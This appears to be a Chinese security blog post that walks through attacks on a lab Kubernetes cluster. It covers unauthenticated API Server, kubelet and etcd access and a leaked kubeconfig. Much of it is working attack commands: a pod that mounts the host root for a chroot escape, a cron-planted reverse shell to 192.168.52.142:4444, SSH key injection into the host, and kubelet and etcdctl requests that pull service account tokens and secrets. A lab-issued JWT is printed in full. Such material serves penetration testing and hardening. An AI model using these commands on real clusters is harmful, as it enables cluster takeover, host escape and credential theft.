k8s漏洞合集 | k8s安全攻防
k8s安装
多节点安装,而且如果不考虑指定版本的话可以看我另一篇文章《本地k8s搭建(无视网络限制,简单几步搭建)》,这里为了测试漏洞直接利用metarget
进行单节点安装了,metarget
初次提到,是在《【深度解析】从docker底层原因到CVE-2020-15257》想详细了解的可以看下
1️⃣安装一个1.16的k8s
#先安装docker./metarget gadget install docker --version 18.03.1#安装k8s./metarget gadget install k8s --version=1.16.5 --domestic
💡当装完metarget
的时候可以趁着环境还干净打个镜像,之后如果发生什么类似于冲突
相关的问题的时候就可以还原快照,简单粗暴的解决。
❗如果遇到bug或错误,可能性太多,不过大概率还是网络问题,如果实在解决不了欢迎留言私信加入交流群,看到了会及时回复。
判断是否是k8s容器内
#可以使用命令kubectl exec -it <pod-name> -- /bin/bash
1️⃣查看磁盘空间使用情况,会发现下图所示/run/secrets/kubernetes.io/serviceaccount
💡这个目录是Kubernetes中一个与服务账户(Service Account) 相关的目录。它包含了用于访问 Kubernetes API的凭证文件。这些凭证是由 Kubernetes 自动生成并挂载到每个 Pod 中,以允许 Pod 中运行的进程与 Kubernetes 集群进行安全的通信。
-
token
:一个 JWT(JSON Web Token)令牌,它用于身份验证和授权。Kubernetes API 服务器使用这个 token 来验证 Pod 是否有权访问 API。 -
ca.crt
:Kubernetes API 服务器的证书(CA 证书),用于建立安全的 HTTPS 连接,以确保 Pod 与 API 服务器之间的通信是加密的,并且信任的。 -
namespace
:存储 Pod 所在的命名空间(namespace)信息。每个 Pod 都与某个命名空间关联,这个文件帮助进程了解其运行的命名空间。
2️⃣查看env环境变量
API Server未授权访问
API Server:
在 Kubernetes 集群中,API Server 是集群的核心组件之一,它充当着所有 Kubernetes 组件之间的通信枢纽,所有集群的操作(如创建、更新、删除、查询资源)都通过它来进行,跟之前讲的docker类似,如果出现api server未授权的情况,攻击者可以接管整个k8s😲。
API Server默认有两个端口8080
和6443
,💡这两个端口都提供访问 Kubernetes API 的服务,不过8080
端口是非安全端口使用http协议,所以一般用于测试开启,而6443
端口是默认的安全端口,采取https协议。
8080端口未授权访问
✨利用条件
-
Kubernetes版本小于 v1.20 -
8080端口可访问
漏洞的产生
在k8s配置文件中(不通安装方式可能配置文件不同)
vim /etc/kubernetes/manifests/kube-apiserver.yaml
利用下面两个配置打开非安全连接
并且监听所有网络接口
重启生效
systemctl restart kubelet
❗对于不同版本对于非安全连接的--insecure-port
选项
-
Kubernetes v1.10 选项默认值从 8080
改为0
(即默认禁用) -
Kubernetes v1.19 选项被正式标记为废弃(Deprecated),建议用户迁移到安全端口 6443 并使用认证方式访问 API Server。 -
Kubernetes v1.20 选项被彻底移除,即从该版本开始,即使手动添加 --insecure-port=8080,也不会生效。
然后直接访问8080就能看到对应接口了
漏洞利用
🛠️操作k8s
和docker一样,如果k8s的API Server出现未授权那么攻击者将完全接管k8s,利用k8s客户端进行任何操作。
⏬在自己的服务器上下载并安装kubectl
#设置 Kubernetes YUM 仓库cat <<EOF > /etc/yum.repos.d/kubernetes.repo[kubernetes]name=Kubernetesbaseurl=https://mirrors.aliyun.com/kubernetes/yum/repos/kubernetes-el7-x86_64enabled=1gpgcheck=1repo_gpgcheck=1gpgkey=https://mirrors.aliyun.com/kubernetes/yum/doc/yum-key.gpg https://mirrors.aliyun.com/kubernetes/yum/doc/rpm-package-key.gpgEOF#一键安装yum install -y kubectl
✅当我们成功在我们自己的服务器安装完kubectl客户端后,就可以直接利用命令来操作未授权的k8s
#查询所有命名空间kubectl -s 192.168.52.130:8080 get ns
kubectl -s ip:8080 get nodekubectl -s ip:8080 get pods
直接接管
🎊进入容器
kubectl -s ip:8080 exec -it [容器名] -- /bin/bash
🎉创建特权容器逃逸拿主机shell
在本地新建一个test.yaml
文件如下
apiVersion: v1kind: Podmetadata: name: nginx-hack1spec: containers: - image: ccr.ccs.tencentyun.com/library/nginx name: test volumeMounts: - mountPath: /mnt name: test volumes: - name: test hostPath: path: /
根据上面的yaml创建了一个pod,并且将主机的根路径/
挂载到了该容器内的/mnt
#根据test.yaml在远程k8s创建pod并且跳过TLS验证kubectl --insecure-skip-tls-verify -s http://your-ip:8080/ apply -f test.yaml
然后我们可以执行进入到这个pod中,切换到/mnt
,利用chroot
逃逸
kubectl --insecure-skip-tls-verify -s http://192.168.52.130:8080/ exec -it nginx-hack1 -- /bin/bashchroot /mnt
😁逃逸成功
🎈写入定时任务反弹shell
在我们根据上面的内容创建了特权容器的时候,可以通过将反弹shell的命令写入到/mnt/var/spool/cron/root
也就是宿主机的定时任务里,这样也能拿到宿主机的shell
❗而且由于我的k8s所在系统是ubuntu
,所以在以往文章中也提过反弹任务要加上bash -c
(ubuntu写定时任务有很多坑,建议仔细看看下方命令)
kubectl -s http://192.168.52.130:8080/ exec escape-pod -it -- /bin/bash -c 'echo "* * * * * /bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.52.142/4444 0>&1"" > /mnt/var/spool/cron/crontabs/root'
🔑写公钥逃逸
由于根目录已经挂载了,所以我们可以直接将公钥写到宿主机的/root
目录中,然后直接连接宿主机
#将公钥写到宿主机kubectl -s http://192.168.52.130:8080/ exec escape-pod -it -- /bin/bash -c "echo '$(cat ~/.ssh/id_rsa.pub)' > /mnt/root/.ssh/authorized_keys"#直接拿私钥去连接ssh -i ~/.ssh/id_rsa [email protected]
6443端口未授权
与8080端口相对的就是6443端口未授权,6443端口提供https
服务,如果运维人员配置不当,将 "system:anonymous" 用户绑定到 "cluster-admin" 用户组,则会使得 6443 端口允许匿名用户以管理员权限访问。
正常情况下访问 6443 端口,提示 Forbidden。
如果存在未授权,利用起来跟8080如出一辙,唯一的区别就是前面加上如下参数
kubectl --insecure-skip-tls-verify
kubelet 10250端口未授权
之前在云安全基础的时候讲过kubelet
服务
Kubelet
-
每个Node节点上都运行一个 Kubelet 服务进程,默认监听 10250 端口,接收并执行 Master 发来的指令,管理 Pod 及 Pod 中的容器。 -
每个 Kubelet 进程会在 API Server 上注册所在Node节点的信息,定期向 Master 节点汇报该节点的资源使用情况,并通过 cAdvisor 监控节点和容器的资源。
-
正常情况下访问该端口,如下是未认证状态
❗如果出现错误配置,如下
1️⃣anonymous.enabled
如果设置为true,表示那么任何人都可以直接访问 kubelet
API(10250
端口)
2️⃣authorization.mode
表示指定授权模式,其中AlwaysAllow
表示所有请求都直接通过,没有权限控制,而通常情况下这个选项的值为Webhook
,表示将授权请求转发给 kube-apiserver
,结合 RBAC 进行权限控制(所以如果是这种模式,即使anonymous.enabled设置为true,那么一些敏感操作也不会有权限执行)。
🧨如下图那样,就表示存在kubelet 10250端口未授权
🤖在容器内执行命令
当10250出现未授权的时候,我们就可以访问这个kubelet的信息以及执行一些命令
#查看正在运行的podhttps://192.168.52.130:10250/runningpods/
🧐比如下方我们可知存在一个pod,正在运行,镜像是什么以及名字
🤖我们可以利用如下请求在对应容器执行命令
#curl -XPOST -k "https://${IP_ADDRESS}:10250/run/<namespace>/<pod>/<container>" -d "cmd=<command-to-run>"curl -XPOST -k "https://192.168.52.130:10250/run/default/nginx-hack-cline/test-container" -d "cmd=ls /tmp"
执行成功
🪄当然我们也可以查看当前容器是否挂载了主机目录
curl -XPOST -k "https://192.168.52.130:10250/run/default/nginx-hack-cline/test-container" -d "cmd=fdisk -l"
像下图那样如果比较幸运发现当前pod存在特权容器,也可以用来逃逸
🔑获取token
在 Kubernetes 中,每个 Pod 都可以与一个 服务账户 关联。服务账户(Service Account)是 Kubernetes 提供的一种机制,用于为应用程序(通常是 Pod 内的容器)提供访问 Kubernetes API 的凭证。这些凭证是通过 Kubernetes 自动分配给 Pod 的,通常用于容器与集群中的其他资源进行交互。
获取token
curl -XPOST -k "https://192.168.52.130:10250/run/default/nginx-hack-cline/test-container" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"
拿到这个token之后就可以尝试看下这个token的权限能否操作api-server
curl -X GET -k -H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6InlkM2ZzWTRKa1psdVdSX0otUGNpWVVBbFd3YXFiMWVac1VyWG5uMExzM1UifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4teGpsczciLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjkyMjM5ZTliLWQwNzItNDkwMS04ZjE0LTU2YzRkMjIyOTRkYSIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.OQGewe4CWydPisIRzqVzrom7U5Xqwzlauhkq4Xl7sIrFyY5DWT2Q6euTGfXm0AiFP4muHMrUwcIAPBywlqDyJBhO_W92A3HMVFrQL74XYsA7LluAgZsd64D9DPBr-k79jZGU4OhUaX0VprbacJuUzW2IHM8G7AKpbG0BUBaZZBslGg3O2HJEuAdt8J5527fbPkEIJDtDslo-yInDqIwaGYWpDgrSuHrwVLcNCiRDfm1PvCe-Xi2Y7DwljIhpMB5BlEMq4Kd78xHip2IW-NVSzZLPzWa71h_6PfeNYQ6t8tvrE8PJAHwr1mt9mgodZq7Fs64fEzSiaJJnpHcXFtCBXQ" https://192.168.52.130:6443/api/v1/pods
😕不过大多数情况应该不太行
当然如果开放了dashboard
也可以尝试登录一下,不过大多数情况应该也不行
💾etcd未授权访问
简单的说etcd
可以被视作 "Kubernetes 的数据库" ,但它的功能远远不止作为一个传统意义上的数据库。我们可以将 etcd 看作是一个 分布式键值存储系统,它主要用于 存储集群的配置信息和状态,为 k8s 集群提供底层数据存储,保存了整个集群的状态。。
在 K8s 集群初始化后,etcd 默认就以 pod 的形式存在,可以执行如下命令进行查看,etcd 组件监听的端口为 2379,并且默认对外开放。
kubectl get pods -A | grep etcd
正在运行
📄/etc/kubernetes/manifests/etcd.yaml
是etcd的配置文件,其中存在一个配置项--client-cert-auth
默认为true,表示访问etcd服务需要携带cert进行认证,如果目标启动etcd没有开启该选项,且由于默认2379
端口又是对外开放的,所以造成未授权
访问如下地址证明未授权存在
#查看版本https://192.168.52.130:2379/version#访问和管理存储在 etcd 中的键值数据https://192.168.52.130:2379/v2/keys
✉️版本信息
✉️键值数据
每个 Service Account 都会自动生成一个关联的 Secret,这个 Secret 中包含了用于访问集群的认证凭证(即 Token)。如果某个 Service Account 拥有较高的权限,例如
cluster-admin
权限,那么它的 Token 就能提供对集群内所有资源的全面访问权。通过查找和获取这些高权限的 Token,攻击者可以发起 API 请求,执行包括修改集群配置、删除资源、创建新资源等在内的任意操作,从而完全控制 Kubernetes 集群。
#查询 etcd 集群中的键,并过滤出包含 "secret" 的键./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://192.168.52.130:2379/ get / --prefix --keys-only|sort|uniq| grep secret
#获取token./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://192.168.52.130:2379/ get /registry/secrets/kube-system/default-token-7blf8
🗝️最终的 token 为 token?
和 #kubernetes.io/service-account-token
之间的部分,也就是我圈起来的值
curl --header "Authorization: Bearer [token]" -X GET https://192.168.52.130:6443/api/v1 -k
成功
🧐同样的如果开放了dashboard
也可以用这个token去登录
🎁kubeconfig泄露
K8s configfile
作为K8s集群的管理凭证,其中包含有关K8s集群的详细信息(API Server、登录凭证)。
用户凭证保存在kubeconfig 文件中,而kubectl执行命令时会通过以下顺序来找到 kubeconfig 文件:
-
如果提供了--kubeconfig参数,就使用提供的 kubeconfig 文件。 -
如果没有提供--kubeconfig 参数,但设置了环境变量 $KUBECONFIG,则使用该环境变量提供的 kubeconfig 文件。 -
如果以上两种情况都没有,kubectl 就使用默认的 kubeconfig 文件 $HOME/.kube/config。
如下图比方说我这里利用漏洞拿到对应宿主机k8s的config
文件,得到内容😁
然后同样的我创建了一个文件,将上面的config
文件内容放了进去
vim /root/.kube/config
🆗当我执行完这个操作后,直接尝试在我们并没安装k8s
的攻击机上执行k8s命令看看会发生什么,可以看到当我存在这个配置文件的时候它会直接通过配置文件中的server
地址,然后再通过配置文件中的认证信息去调用k8s执行对应命令,❌然后当我把这个文件弄没,对应命令就执行不了了
当然如果配置文件并不在上文提到的kubectl在执行命令时会主动去找配置文件的那三个地方,我们也可以用--kubeconfig
参数手动指定
原文始发于微信公众号(小惜渗透):【云安全】k8s漏洞合集 | k8s安全攻防
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论